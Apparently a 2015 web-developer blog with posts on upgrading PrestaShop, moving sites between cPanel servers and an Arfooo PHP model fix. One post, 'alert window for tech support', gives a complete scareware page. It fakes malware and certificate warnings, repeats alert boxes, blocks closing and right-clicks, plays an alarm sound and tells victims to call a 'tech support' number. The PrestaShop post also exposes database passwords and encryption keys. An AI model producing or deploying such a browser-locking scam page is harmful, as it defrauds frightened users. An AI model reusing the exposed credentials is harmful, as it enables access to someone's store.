Saturday, 12 December 2015

how can upgrade prestashop theme

for upgrade your prestashop store
1.first create pre folder and copy public_html all file in pre folder.
2.install latest prestashop theme in public_html folder with new db details
3.now copy files from pre folder to public_html folder
need to copy file
**************************
  • /mails. Has all the mails templates, including those that you have modified.
    If you have never made any mail template modification, do not worry about this folder.
  • /img. Contains your logo and all the pictures of your store (categories, products, etc.). Take good care of these specific files and folders:
    • logo.jpg - your store's logo
    • favicon.ico - your store's favicon
    • logo_stores.gif - your store's logo for the Store Locator's map
    • /c - your categories' images
    • /cms - your CMS page's images
    • /co - your attributes textural colors
    • /m - your manufacturers' logos
    • /p - your products pictures
    • /scenes - your categories' image-maps
    • /st - your physical stores' photos
    • /su - your suppliers' logos
    • ...basically, copy all folders except /img/admin and /img/jquery-ui.
  • /modules. Only copy the modules that you have added since you installed PrestaShop for the first (and which where therefore not part of the default installation).
    • Some of these modules might not be currently enabled or even installed: it is up to you to determine whether they are still useful to you, and thus deserve to be copied to the updated installation.
    • Also, do note that you will most probably have to update the modules that were not built with the new PrestaShop version in mind.
  • /themes/themeName. Only copy your current theme.
    • If you use the default theme from PrestaShop (unchanged), do not copy its folder (/themes/prestashop): you must use the one from the new version (/themes/default).
    • If you have made changes to the default theme, do copy its folder.
  • /download and /upload. Contain all the downloadable products, the attached files and the customizable products. If you do no use any of these functionalities, do not copy these folders.
  • /classes. In case you have added customized classes to this folder, copy them to the new/classesfolder.

******************************************
4.edit /config/settings.inc.php 
only change db name , db user name and db password

******
pre /config/settings.inc.php

<?php
define('_DB_SERVER_', 'localhost');
define('_DB_NAME_', 'grobmtpu_prest18');
define('_DB_USER_', 'grobmtpu_prest18');
define('_DB_PASSWD_', 'SEP4[]18S9');
define('_DB_PREFIX_', 'ps_');
define('_MYSQL_ENGINE_', 'InnoDB');
define('_PS_CACHING_SYSTEM_', 'CacheMemcache');
define('_PS_CACHE_ENABLED_', '0');
define('_COOKIE_KEY_', 'x8nbttofkwdv4geet20vk7s5hah3jmcwhghch7mzvwfyvrd8h01oenfj');
define('_COOKIE_IV_', 'pn91jdjt');
define('_PS_CREATION_DATE_', '2015-02-11');
if (!defined('_PS_VERSION_'))
define('_PS_VERSION_', '1.6.1.0');
define('_RIJNDAEL_KEY_', 'uE0iDEBGYatTIdnQ7DaEmgBHdroqVncO');
define('_RIJNDAEL_IV_', 'BG8/+lu5qVjNoBECefRUcA==');


 /config/settings.inc.php

<?php
define('_DB_SERVER_', 'localhost');
define('_DB_NAME_', 'grobmtpu_prest18');
define('_DB_USER_', 'grobmtpu_prest18');
define('_DB_PASSWD_', 'SEP4[]18S9');
define('_DB_PREFIX_', 'ps_');
define('_MYSQL_ENGINE_', 'InnoDB');
define('_PS_CACHING_SYSTEM_', 'CacheFs');
define('_PS_CACHE_ENABLED_', '0');
define('_COOKIE_KEY_', '8ghax4pqwvwhctydwqtqri2crq227drsfzkhfzg1sst3dekwteicyta8');
define('_COOKIE_IV_', 'jqp3hi2h');
define('_PS_CREATION_DATE_', '2015-12-22');
define('_PS_VERSION_', '1.6.1.3');
define('_RIJNDAEL_KEY_', 'qaGYhO2WnsuwpxPaL0pkVx5QQwvTaU6G');
define('_RIJNDAEL_IV_', 'FZwXIpGMI+nmrLID1pxypw==');
define('_PS_DIRECTORY_', '/../../');


***************************
5.login your store admin url and reset your admin password after reset password you can login your admin area and generate new sitemap and robots.txt



Wednesday, 25 November 2015

alert window for tech support


Html code for Tech support 
<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>!!Malware detected !!</title>
<style type="text/css">
body,td,th {
font-family: Verdana, Geneva, sans-serif;
}
</style>
<script async="" src="files/analytics.js"></script><script src="files/analytics(1).js" async="">
</script><script>
function myFunction()
{
alert("\n\****System Security At Risk **** \n\nCritical Security Warning! Your Internet is
 infected with a malicious virus attack.\n\nPlease contact tech support at xxx-xxx-xxx and
provide error code Firewall Alert to scan and resolve any potential threats to your personal and financial information, which was being tracked by suspicious connection. \n\nConsequently we are performing additional security checks to verify the source of the attack and have halted all your system resources in order to prev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\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\
n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n");
}
var message = "\n\****System Security At Risk **** \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\
nCritical Security Warning! Your Internet is infected with a malicious virus attack.\n\nPlease
contact tech support at xxx-xxx-xxx and provide error code WBACK7917 to scan and
resolve any potential threats to your personal and financial information, which was being
tracked by suspicious connection. \n\nConsequently we are performing additional security
checks to verify the source of the attack and have halted all your system resources in order to
 prevent any additional damage to your system and information.\n\nPlease call customer
service at xxx-xxx-xxx to resolve issues.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\
n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\
n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\
n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\
n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\
n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
function rtclickcheck(keyp){ if (navigator.appName == "Netscape" && keyp.which == 3)
{ alert(message); return false; } if (navigator.appVersion.indexOf("MSIE") != -1 &&
event.button == 2) { alert(message); return false; } } document.onmousedown = rtclickcheck;
window.onbeforeunload = function(){
return " Critical Security Warning! Your System is infected with a malicious adward attack.\n
\nPlease contact tech support at xxx-xxx-xxx and provide error code WBACK7917 to scan
 and resolve any potential threats to your personal and financial information, which was being tracked by suspicious connection. \n\nConsequently we are performing additional security checks to verify the source of the attack and have halted all your system resources in order to prevent any additional damage to your system and information.\n\nPlease call customer service at xxx-xxx-xxx to resolve issues. \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\
n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\
n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\
n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\
n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\
n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
};
window.load.myFunction();
</script>
<script>
$(document).ready(function()
{$.colorbox({ width: "60%", inline: false, href: "images2/index.png" });
});
function myFunction()
{
setInterval(function()
{
alert("\n\nCritical Security Warning! Your System is infected with a malicious adward attack.
\n\nPlease contact tech support at xxx-xxx-xxx and provide error code WBACK7917 to
scan and resolve any potential threats to your personal and financial information, which was
being tracked by suspicious connection. \n\nConsequently we are performing additional
security checks to verify the source of the attack and have halted all your system resources in
order to prevent any additional damage to your system and information.\n\nPlease call
customer service at xxx-xxx-xxx to resolve issues.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\
n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\
n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\
n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\
n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\
n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\
n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n") }, 2);
alert("\n\nCritical Security Warning! Your System is infected with a malicious adward attack.
\n\nPlease contact tech support at xxx-xxx-xxx and provide error code WBACK7917 to
scan and resolve any potential threats to your personal and financial information, which was
 being tracked by suspicious connection. \n\nConsequently we are performing additional
security checks to verify the source of the attack and have halted all your system resources in
order to prevent any additional damage to your system and information.\n\nPlease call
customer service at xxx-xxx-xxx to resolve issues. \n\n\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n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\
n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\
n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n");
window.location.href='#' + window.location.search +_blank;
}
</script>
<script>
$(document).ready(function()
{$.colorbox({ width: "60%", inline: false, href: "images2/index.png" });
});
function myFunction()
{
setInterval(function()
{
alert("\n\nCritical Security Warning! Your System is infected with a malicious adward attack.
\n\nPlease contact tech support at xxx-xxx-xxx and provide error code WBACK7917 to
scan and resolve any potential threats to your personal and financial information, which was
 being tracked by suspicious connection. \n\nConsequently we are performing additional
security checks to verify the source of the attack and have halted all your system resources in
order to prevent any additional damage to your system and information.\n\nPlease call
customer service at xxx-xxx-xxx to resolve issues.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\
n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\
n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\
n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\
n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\
n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n") }, 2);
alert("\n\nCritical Security Warning! Your System is infected with a malicious adward attack.
\n\nPlease contact tech support at xxx-xxx-xxx and provide error code WBACK7917 to
scan and resolve any potential threats to your personal and financial information, which was
 being tracked by suspicious connection. \n\nConsequently we are performing additional
security checks to verify the source of the attack and have halted all your system resources
in order to prevent any additional damage to your system and information.\n\nPlease call
customer service at xxx-xxx-xxx to resolve issues.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\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n\n\n\n
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n");
window.location.href='#' + window.location.search +_blank;
}
</script>
</head>
<body onload="myFunction()">
<div style="width:950px; margin-left:auto; margin-right:auto; margin-top:50px; text-align:center;">
<p><img src="files/Safari-Logo.png" height="100" width="102"></p>
<p style="color:#000; font-size:24px;"><strong>Secure Connection Failed</strong></p>
<p style="color: #333; font-size:19px">svn.boost.org Uses an Invalid Security Certificate.<br>
The Certificate is not trusted, because the issuer Certificate is Unknown<br>
(Error Code : sec_error_unknown_issuer)</p>
<div style="margin:auto; width:600px;">
<li>This could be a problem with the server's configuration , or it could be someone trying to impersonate the server.</li><br>
<li>If you have connected to this server successfully in the past , the error may be temporary , and you can try again later.</li></div>
<p style="font-size:36px; color:#333; font-weight:bold;">CALL TOLL FREE
xxx-xxx-xxx</p>
</div>
<audio autoplay="autoplay" loop="">
<source src="files/alertsmacwarning.com/y/files/gp-msg.mp3" type="audio/mpeg">
</audio>
</body>
</html>

Thursday, 2 July 2015

How can transfer website one server to other server

How can transfer website one server to other server ?
Here two option for transfer website.
First option :
login cpanel > backup > Download a Home Directory Backup > Download backup.
Now login new cpanel > backup > Restore a Home Directory Backup > upload.

Second option :

login cpanel > backup > Download full website backup > 
choose remote FTP server .
Fill the form

Remote Server name :  new server name
Remote User Name   : new user name
Remote password     :  new paasword
port                           :  21
Remote Directory       : /public_html

you received your backup in new cpanel some time.After received backup unzip and find homedir folder copy all file in pulic_html

Wednesday, 11 March 2015

arfooo models/CommentModel.php for 2.0.2

if you use Arfooo script version 2.0.2 and facing problem in open listing details then you change file  models/CommentModel.php in your script.

<?php
/**
 * Arfooo
 *
 * @package    Arfooo
 * @copyright  Copyright (c) Arfooo Annuaire (fr) and Arfooo Directory (en)
 *             by Guillaume Hocine (c) 2007 - 2010
 *             http://www.arfooo.com/ (fr) and http://www.arfooo.net/ (en)
 * @author     Guillaume Hocine & Adrian Galewski
 * @license    http://creativecommons.org/licenses/by/2.0/fr/ Creative Commons
 */
class CommentModel extends Model
{
    protected $primaryKey = "commentId";
    function insert($data)
    {
        parent::insert($data);
        $siteId = $data['siteId'];
        $this->updateSiteCommentsCount($siteId);
    }
    function update($data, Criteria $c)
    {
        parent::update($data, $c);
        $comment = $this->find($c);
        $siteId = $comment->siteId;
        $this->updateSiteCommentsCount($siteId);
    }
    function del(Criteria $c, $updateStats = true)
    {
        if ($updateStats) {
            $siteIds = array_unique($this->getArray($c, "siteId"));
        }
        parent::del($c);
        if ($updateStats) {
            foreach ($siteIds as $siteId) {
                $this->updateSiteCommentsCount($siteId);
            }
        }
    }
    function updateSiteCommentsCount($siteId)
    {
        $c = new Criteria();
        $c->add("siteId", $siteId);
        $c->add("validated", "1");
        $votesData = $this->find($c, "SUM(rating) as votesSum, COUNT(rating) as votesCount");
        $votesAverage = $votesData['votesCount'] ? $votesData['votesSum'] / $votesData['votesCount'] : 0;
        $data = array("votesAverage"  => $votesAverage,
                      "votesCount"    => $votesData['votesCount'],
                      "commentsCount" => $votesData['votesCount']);
        $this->site->updateByPk($data, $siteId);
    }
    function getSiteValidatedComments($siteId)
    {
        $c = new Criteria();
        $c->add("siteId", $siteId);
        $c->add("validated", "1");
        $c->addOrder("commentId DESC");
        return $this->comment->findAll($c);
    }
    function getCookieName($siteId)
    {
        return md5('siteComment' . $siteId);
    }
    function checkCanVote($siteId, $ip)
    {
        $cookieName = $this->getCookieName($siteId);
        $c = new Criteria();
        $c->add("siteId", $siteId);
        $c->add("remoteIp", $ip);
        $c->add("date > DATE_SUB(NOW(), INTERVAL 24 HOUR)");
        //if have commenting today
        return !((isset($_COOKIE[$cookieName])
                  && $_COOKIE[$cookieName] == date('d.m.Y'))
                  || ($this->getCount($c) > 0));
    }
    function setSiteCookie($siteId)
    {
        $urlParts = parse_url(Config::get("siteRootUrl"));
        $path = $urlParts['path'];
        setcookie($this->getCookieName($siteId), date('d.m.Y'), mktime(0, 0, 0, date('n'), date('j'), date('Y')) + 60 * 60 * 24, $path);
    }
    function validate($newComment)
    {
        $ip = $newComment->getIp();
     
        //if user is banned
        if ($this->bannedIp->isBanned($ip)) {
            return 'You are not allowed to post comments.';
        }
     
        if (!$this->checkCanVote($newComment->itemId, $ip)) {
            return 'You have already commented this site today.';
        }
     
        if((int)$newComment->rating < 1 || (int)$newComment->rating > 5) {
            return 'Rating must be in range 1-5';
        }
        return '';
    }
}
class CommentRecord extends ModelRecord
{
}